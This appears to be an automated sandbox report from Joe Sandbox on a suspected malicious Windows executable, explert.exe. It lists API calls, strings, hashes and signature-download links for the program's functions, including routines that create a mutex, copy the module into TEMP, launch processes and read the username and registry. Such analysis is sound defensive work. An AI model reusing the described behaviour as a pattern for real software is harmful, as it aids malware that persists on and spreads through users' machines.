InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,005FDD21,-00000020,00000FA0,00000000,00000000,00000000,00000000,005D1C72), ref: 005FD4F8

Strings

@0], xrefs: 005FD4E8
InitializeCriticalSectionEx, xrefs: 005FD4C8

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: @0]$InitializeCriticalSectionEx
API String ID: 2593887523-2466669
Opcode ID: 1dd81996eae76e4076587eea73a921f6b120254e85f04590d150956deb425331
Instruction ID: 114d4a131491be4fdc96d0d435a166e2259b79817d0ae15d00f5ab8c7f475f7e
Opcode Fuzzy Hash: 1dd81996eae76e4076587eea73a921f6b120254e85f04590d150956deb425331
Instruction Fuzzy Hash: 4FE0923118022DB7DF112F40DC09DEEBF27FB40B60B05C420FE1916261DBB78960A6E0

Function 005FD33E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 005FD372

Strings

@0], xrefs: 005FD368
FlsAlloc, xrefs: 005FD34E

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Alloc
String ID: @0]$FlsAlloc
API String ID: 2773662609-3171498700
Opcode ID: 5781ef21b652887bcaea81a75cc37deedc6b1bcd43f041e2eccd5441cf857e33
Instruction ID: 3309b9de5fcb8c87596aa947a24a0eefcae592119609525cce647c2513261b63
Opcode Fuzzy Hash: 5781ef21b652887bcaea81a75cc37deedc6b1bcd43f041e2eccd5441cf857e33
Instruction Fuzzy Hash: D0E0CD315C463873D35123915C09EAB7D1BE754F61B090C20FB051128185A6494181E1

Analysis Process: explert.exePID: 6436, Parent PID: 6488COMMON

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	870
Total number of Limit Nodes:	11

Executed Functions

Function 005365F0 Relevance: 50.8, APIs: 13, Strings: 14, Instructions: 3518synchronizationprocessfileCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNELBASE(00000000,00000000,?,00000000,Global\,00000007,?,?), ref: 005367F1
GetLastError.KERNEL32 ref: 00536871
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 00536893
CreateDirectoryA.KERNEL32(?,00000000,0000000F,?,00000000,0056E898,00000001,?,?,?,?), ref: 00536B82
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00536B96
CopyFileA.KERNEL32(?,00000000,00000000), ref: 00536E2E
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,00000000,?), ref: 0053790D
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0053791C
CloseHandle.KERNEL32(00000000), ref: 0053792B
CloseHandle.KERNEL32(?), ref: 00537930
ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00538C04
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104,00000001,00000006), ref: 00538C7F

Strings

XFZ@i6, xrefs: 0053963E
XFZ@7, xrefs: 005393BA
XFZ@, xrefs: 00536F40
XFZ@i6, xrefs: 0053859F
XFZ@i6, xrefs: 0053802E
XFZ@i6, xrefs: 00537DA6
Global\, xrefs: 005367B0
open, xrefs: 00538BFD
wuC, xrefs: 005368AB
wuC, xrefs: 0053661E
" /F, xrefs: 0053761A
`V, xrefs: 005373F6
TEMP, xrefs: 0053688E, 00538C7A
wuC, xrefs: 00538C9D

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Create$CloseEnvironmentFileHandleVariable$CopyDirectoryErrorExecuteLastModuleMutexNameObjectProcessShellSingleWait
String ID: " /F$Global\$TEMP$XFZ@$XFZ@7$XFZ@i6$XFZ@i6$XFZ@i6$XFZ@i6$`V$open$wuC$wuC$wuC
API String ID: 747220738-2991300673
Opcode ID: 01b78a726bde9690f608c25c0e09999b7137a423ea066f02e269b970c2a618a8
Instruction ID: 43bee921a1f47131904678d18cc2b56cd3f4953dbfa6a90a36fbe94d3fc1478c
Opcode Fuzzy Hash: 01b78a726bde9690f608c25c0e09999b7137a423ea066f02e269b970c2a618a8
Instruction Fuzzy Hash: 5B63E576D216498AEB07CB38C8467E9FB75BFA6344F14C35AE40477662FB7066C68B00

Function 005498AE Relevance: 28.3, APIs: 4, Strings: 9, Instructions: 5538COMMON

Download Yara Rule

Strings

XSZ]A_;, xrefs: 0054E389
!yW, xrefs: 0054D8AC
wytpj:, xrefs: 0054A52A
@FSYM_;, xrefs: 0054EC59
ctx`9, xrefs: 0054A0CA
fyyq9, xrefs: 0054AE9A
dszm9, xrefs: 00549C6A
z}7, xrefs: 0054DC98
7<=<I, xrefs: 0054CA3E

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: !yW$7<=<I$@FSYM_;$XSZ]A_;$ctx`9$dszm9$fyyq9$wytpj:$z}7
API String ID: 3677997916-2810526515
Opcode ID: e723b7fbb3010b81ed6ef3f8c85c85b929c4e5d7eec414f285c6d59d396f9e50
Instruction ID: f182f7c80bbb7301c2bc39effc4554991daeb3bb3e1b08d4b5918b32de800a89
Opcode Fuzzy Hash: e723b7fbb3010b81ed6ef3f8c85c85b929c4e5d7eec414f285c6d59d396f9e50
Instruction Fuzzy Hash: 59B3F639C256494BEB07DB38D8166D9F778BF66384F50C3AAE405B3562FB3066C68B04

Function 00556600 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,005565FF,00000001,00000000,?,00000001,?,0055CD85), ref: 00556622
TerminateProcess.KERNEL32(00000000,?,005565FF,00000001,00000000,?,00000001,?,0055CD85), ref: 00556629
ExitProcess.KERNEL32 ref: 0055663B

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 2585d474159650da9a509e8d9dc11d5746b106b8f4bf573c853a7d0a3bd71a4b
Instruction ID: 11afba4255da526af7053fcae6d196394685cc337a88ab9e874d4eef8ddcc37f
Opcode Fuzzy Hash: 2585d474159650da9a509e8d9dc11d5746b106b8f4bf573c853a7d0a3bd71a4b
Instruction Fuzzy Hash: 6CE04631001148ABCF112B58DC6E9093F29FB52342F404011F8058B231CB75DC8AEB50

Function 0056ADAF Relevance: 13.8, APIs: 9, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0056AA68: CreateFileW.KERNELBASE(00000000,00000000,?,0056AE58,?,?,00000000,?,0056AE58,00000000,0000000C), ref: 0056AA85

GetLastError.KERNEL32 ref: 0056AEC3
__dosmaperr.LIBCMT ref: 0056AECA
GetFileType.KERNEL32(00000000), ref: 0056AED6
GetLastError.KERNEL32 ref: 0056AEE0
__dosmaperr.LIBCMT ref: 0056AEE9
CloseHandle.KERNEL32(00000000), ref: 0056AF09
CloseHandle.KERNEL32(?), ref: 0056B056
GetLastError.KERNEL32 ref: 0056B088
__dosmaperr.LIBCMT ref: 0056B08F

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 4c539c2fc8051c0196bc47cec4a7182b86f1f87712b5fc48867f291bf6e90bd6
Instruction ID: ba69e0dcb8b7ccb3a1941417c916953a424dc52926e956062a3c52aaa440fc15
Opcode Fuzzy Hash: 4c539c2fc8051c0196bc47cec4a7182b86f1f87712b5fc48867f291bf6e90bd6
Instruction Fuzzy Hash: 65A13232A041058FDF19AF68DC56BAE3FA0BF46320F14014AE812FB2D1DB358D5ADB52

Function 0055D0A4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ext-ms-, xrefs: 0055D10F
api-ms-, xrefs: 0055D0FB

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 3f4f34e212d94c516a7bba8bbaed6f269770bb8f2bd403aec9942f50b6cb93de
Instruction ID: d1c2bd4c3c0ebe1ee2da6a4b28cf18e7f87bf4a7738e5e62b937cfcacdd77001
Opcode Fuzzy Hash: 3f4f34e212d94c516a7bba8bbaed6f269770bb8f2bd403aec9942f50b6cb93de
Instruction Fuzzy Hash: C721D877A01711ABCB314B64DC55A1B3FB8BB157A2F110512FC16A7290E670DD09D6F0

Function 00539DE0 Relevance: 6.1, APIs: 4, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(?,?,00000000,00020019,?,?), ref: 00539E09
RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,000000FF), ref: 00539E38
RegCloseKey.ADVAPI32(?), ref: 00539E45
RegCloseKey.KERNELBASE(?), ref: 00539E66

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Close$OpenQueryValue
String ID:
API String ID: 1607946009-0
Opcode ID: 629342a35ed914dec1659d3d6f7d505b420cf048e3f0d0b96021553b37abba61
Instruction ID: 92735f3a86dbcc0b45baf869c7b269e35429ee1b5e30bff54f8f42f09207d4a8
Opcode Fuzzy Hash: 629342a35ed914dec1659d3d6f7d505b420cf048e3f0d0b96021553b37abba61
Instruction Fuzzy Hash: 37216F7410020AAFEB25DF18DC49BA67BB8FF05704F00459CE8568B291D7F1A958DBA1

Function 005448B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32(?,?), ref: 005448C6

Strings

A, xrefs: 005448BA

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: NameUser
String ID: A
API String ID: 2645101109-3554254475
Opcode ID: bab11965628ffe76859df2c3f25d4e40eef0d8cf596bdf7afd37db625645d596
Instruction ID: 4d946032dc3a56fa8c5f7cbe9c010bd538ed8b6f16a34c65809f3ee64724c30c
Opcode Fuzzy Hash: bab11965628ffe76859df2c3f25d4e40eef0d8cf596bdf7afd37db625645d596
Instruction Fuzzy Hash: 174167799116058FEB06CF78D8163E5BB78EF22388F00C75DE851B7652F771624A9B40

Function 0056AD21 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 0056AD84

Strings

f'V, xrefs: 0056AD23

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free
String ID: f'V
API String ID: 269201875-3956680740
Opcode ID: 281d487da2bb61c23457510c2bd3b4544aa2be80b10df96796662e11b974a315
Instruction ID: ec415389b3ffccc7a67ad916264bedbd6348f463199ac62576a7fe44cd6f45ed
Opcode Fuzzy Hash: 281d487da2bb61c23457510c2bd3b4544aa2be80b10df96796662e11b974a315
Instruction Fuzzy Hash: C6012872C0015AAFCF42AFA8CD059EE7FB5BF48310F144566BD25A31A1E6318A209F91

Function 0055D16B Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c9e73fbf11435ee47cf81903510c5cff0509b64b2d0b1e20e767f4c5117c430
Instruction ID: ade1e4ad158987e02c819514af9837c97ae16e44d2e30b49bd2f2af9d4d254e9
Opcode Fuzzy Hash: 1c9e73fbf11435ee47cf81903510c5cff0509b64b2d0b1e20e767f4c5117c430
Instruction Fuzzy Hash: E301D233600A119F9F21DE69FC69A5A3BE6BBD43217144122FD05CB194DB309849E7A0

Function 00562727 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 00562761

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 112b5184237859e459e1fa231471a9fa29108ea12b5a22f0ad2e8a494b8a389d
Instruction ID: 4954d849fd3792bf00f1c0c665be58c6204fa98328f5f7c5e36fe0c262d1fce4
Opcode Fuzzy Hash: 112b5184237859e459e1fa231471a9fa29108ea12b5a22f0ad2e8a494b8a389d
Instruction Fuzzy Hash: FD111575A0420AAFCF05DF58E945E9A7BF4FF88314F0440A9F809AB251DA30EA15CB65

Function 0056AA68 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,0056AE58,?,?,00000000,?,0056AE58,00000000,0000000C), ref: 0056AA85

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bc4f26548cab29dcdf5fa581062eab4ae9efa999914525678968959c335f1fd2
Instruction ID: 1e0873d91cab1dbd05821ebf2a20af12b7bfe61106de6bcbf8381365ea1d6510
Opcode Fuzzy Hash: bc4f26548cab29dcdf5fa581062eab4ae9efa999914525678968959c335f1fd2
Instruction Fuzzy Hash: 74D06C3201014DFBDF028F84DD06EDA3BAAFB48724F014010FE1856020C772E862AB90

Non-executed Functions

Function 00567BCD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,~V,00000002,00000000,?,?,?,00567EEB,?,00000000), ref: 00567C66
GetLocaleInfoW.KERNEL32(?,20001004,~V,00000002,00000000,?,?,?,00567EEB,?,00000000), ref: 00567C8F
GetACP.KERNEL32(?,?,00567EEB,?,00000000), ref: 00567CA4

Strings

OCP, xrefs: 00567C21
~V, xrefs: 00567C80, 00567C9D, 00567C57, 00567C70, 00567C5A, 00567C83
ACP, xrefs: 00567BEB

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP$~V
API String ID: 2299586839-518811989
Opcode ID: 9108595b67c7a2e53fdbb61d22b546a37b9f5af71e186f9c9d0b9d3119a76269
Instruction ID: 6ac70a526f2a4cf13a13affff3cd085a83d44ae3672ca193560d324d4fe1fae5
Opcode Fuzzy Hash: 9108595b67c7a2e53fdbb61d22b546a37b9f5af71e186f9c9d0b9d3119a76269
Instruction Fuzzy Hash: 05210A32608108EAFB34CF58C909A977FE6FF58B59B668864E80AC7114FB32DD40D350

Function 00567DA2 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055CA90: GetLastError.KERNEL32(00531920,00000001,00531924,00556D0D,00000001,00000000,00000000,?,0055CD85,00000000,00000000,00000001,00000000,00531920,00000104), ref: 0055CA95
Part of subcall function 0055CA90: SetLastError.KERNEL32(00000000,00000006,000000FF,?,0055CD85,00000000,00000000,00000001,00000000,00531920,00000104), ref: 0055CB33

Part of subcall function 0055CA90: _free.LIBCMT ref: 0055CAF2
Part of subcall function 0055CA90: _free.LIBCMT ref: 0055CB28

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00567EAE
IsValidCodePage.KERNEL32(00000000), ref: 00567EF7
IsValidLocale.KERNEL32(?,00000001), ref: 00567F06
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00567F4E
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00567F6D

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: 440f6a19ddd1844c697a9c8710c054bd71b70a8acab12fb92dde36598b6e05c8
Instruction ID: 61996dddf9b32201c9d4f9128cb804046bbcaa7207d5ad7bd35bbc6d96dd5d33
Opcode Fuzzy Hash: 440f6a19ddd1844c697a9c8710c054bd71b70a8acab12fb92dde36598b6e05c8
Instruction Fuzzy Hash: E7516F75A0420AAFDB10DFB4DC45ABA7BBCFF58704F1444A9E910EB150E7719D48CB60

Function 00551434 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00551440
IsDebuggerPresent.KERNEL32 ref: 0055150C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0055152C
UnhandledExceptionFilter.KERNEL32(?), ref: 00551536

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 1e1e4c772b3163a201d95e484868ca003b4ebc8605b90b58b9ca13cd9513283b
Instruction ID: 6d5af0dd3d53e97d06441e8b4f58bde6f6c6552bf08b35ec74610b0a32e07000
Opcode Fuzzy Hash: 1e1e4c772b3163a201d95e484868ca003b4ebc8605b90b58b9ca13cd9513283b
Instruction Fuzzy Hash: 96313A75D012189BDB20DFA4D9497CCBBB8BF48301F10409AE40DAB250EB709A88DF05

Function 00550782 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 167libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00550788
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00550796
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 005507A7
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 005507B8
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 005507C9
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 005507DA
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 005507EB
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 005507FC
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 0055080D
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 0055081E
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0055082F
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00550840
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00550851
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00550862
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00550873
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00550884
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00550895
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 005508A6
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 005508B7
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 005508C8
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 005508D9
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 005508EA
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 005508FB
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 0055090C
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 0055091D
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0055092E
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 0055093F
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00550950
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00550961
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00550972
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00550983
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00550994
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 005509A5
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 005509B6
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 005509C7
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 005509D8
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 005509E9
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 005509FA
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00550A0B
